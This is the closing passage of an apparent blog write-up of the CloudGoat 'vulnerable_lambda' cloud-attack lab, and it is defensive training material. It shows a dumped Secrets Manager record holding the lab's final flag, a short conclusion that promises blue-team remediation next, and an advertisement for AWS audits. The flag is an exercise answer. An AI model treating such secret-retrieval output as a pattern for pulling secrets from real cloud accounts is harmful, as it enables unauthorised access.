"Name": "vulnerable_lambda_cgidsr4kzoh3iq-final_flag",
"VersionId": "terraform-20240122090844785500000002",
"SecretString": "cg-secret-846237-284529",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1705914524.953
}
The flag: cg-secret-846237-284529, marking the completion of this exercise.
Conclusion
In our CloudGoat journey, we’ve played the attacker, exploiting vulnerabilities to capture the flag. We’ve gained critical insight into how attackers operate in the cloud.
Next, we’ll switch hats again. Join me as we embrace the blue team’s role, diving into code and infrastructure to mend the revealed gaps. We will fortify the weaknesses we utilize, turning vulnerabilities into robust defences.
Stay tuned for the upcoming post!
Need your AWS environment hacked audited? Give us a call!
This article was originally written for evoila.